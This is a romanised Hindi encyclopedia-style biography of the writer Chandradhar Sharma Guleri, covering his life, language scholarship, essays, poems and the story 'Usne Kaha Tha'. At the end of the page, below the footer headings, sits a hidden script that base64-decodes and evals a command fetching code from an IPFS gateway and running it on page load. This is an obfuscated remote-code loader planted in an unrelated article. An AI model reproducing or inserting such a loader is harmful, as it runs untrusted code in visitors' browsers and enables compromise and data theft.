चन्द्रधर शर्मा गुलेरी
| chitr:Icon-edit.gif | is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav" |
chandradhar sharma guleri (janm-1883 guler zila kaang da, mrityu- 12 sitambar, 1922 kashi) hindi sahity ke prakhyat sahityakar the.
jivan parichay
chandradhar sharma guleri ka janm 1883 ee. guler zila kaang da mean hua tha. unake pita sanskrit ke prasiddh pandit shivaram jayapur naresh ke rajadarabar mean the. jab guleri ji das varsh ke hi the ki inhoanne ek bar sanskrit mean bhashan dekar bharat dharm mahamandal ke vidvanoan ko ashchary chakit kar diya tha. pandit kirtidhar sharma guleri ka yahaan tak kahana tha ki ve paanch varsh mean aangrezi ka tailigram achchhi tarah padh lete the. chandradhar ne sabhi parikshaean pratham shreni se uttirn ki. chandradhar bi.e. ki pariksha mean sarvapratham rahe. san 1904 ee. mean guleri ji meyo k aaulej ajamer mean adhyapak ke roop mean kary karane lage. chandradhar ka adhyapak ke roop mean unaka b da man-samman tha. apane shishyoan mean chandradhar lokapriy to the hi isake sath anushasan aur niyamoan ka ve sakhti se anupalan karate the. unaki asadharan yogyata se prabhavit hokar pandit madanamohan malaviy ne unhean banaras bula bheja aur hianndoo vishvavidyalay mean prophesar ka pad dilaya.[1]
bhasha visheshajn
pratibha ke dhani chandradhar sharma guleri ne apane abhyas se sanskrit, hindi, aangrezi, pali, prakrit aur apabhransh bhashaoan par asadharan adhikar prapt kiya. unhean marathi, bangala, laitin, fraianch, jarman adi bhashaoan ki bhi achchhi janakari thi. unake adhyayan ka kshetr bahut vistrit tha. sahity, darshan, bhashavijnan, prachin bharatiy itihas aur puratattv jyotish sabhi vishayoan ke ve vidvan the. inamean se koee vishay aisa nahian tha, jis par guleri ji ne sadhikar likha n ho. ve apani rachanaoan mean sthal-sthal par ved, upanishad, sootr, puran, ramayan, mahabharat ke sandarbhoan ka sanket diya karate the. isilie in granthoan se parichit pathak hi unaki rachanaoan ko bhali-bhaanti samajh sakata tha. granth rachana ki apeksha sphut ke roop mean hi unhoanne adhik sahity srijan kiya.[2]
kritiyaan
- nibandh
nibandhakar ke roop mean bhi chandradhar ji bade prasiddh rahe haian. inhoanne sau se adhik nibandh likhe haian. san 1903 ee. mean jayapur se jain vaidy ke madhyam se samalochak patr prakashit hona shuru hua tha jisake ve sanpadak rahe. inhoanne poore manoyog se samalochak mean apane nibandh aur tippaniyaan dekar jivant banae rakha. chandradhar ke nibandh adhikatar vishay-itihas, darshan, dharm, manovijnan aur puratatv sanbandhi hi haian.
- shaishunak ki moortiyaan
- devakul
- purani hindi
- sangit
- kachchhua dharm
- aankh
- moresi mohian kuthaooan
- soham adi jaise nibandhoan par unaki vidvata ki amit chhap maujood hai.
- kavitaean
- eshiya ki vijay dashami
- bharat ki jay
- ven aauk barn
- ahitagni
- jhuki kaman
- svagat
- ravi
- eeshvar se prarthana
- suniti adi inaki katipay shreshth kavitaean haian. ye kavitaean guleri vishayak sanpadit ganthoan mean sankalit haian.
- kahani sangrah
- usane kaha tha
- sukhamay jivan
- buddhu ka kaanta[1]
khyati
chandradhar sharma guleri ki hindi sahity mean sabase adhik khyati 1915 mean ‘sarasvati’ masik mean prakashit kahani ‘usane kaha tha’ ke karan huee. yah kahani shilp aur vishay-vastu ki drishti se aj bhi ‘mil ka patthar’ mani jati hai.[2]
mrityu
chandradhar sharma guleri ki mrityu 12 sitambar 1922 ee. mean kashi mean huee.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>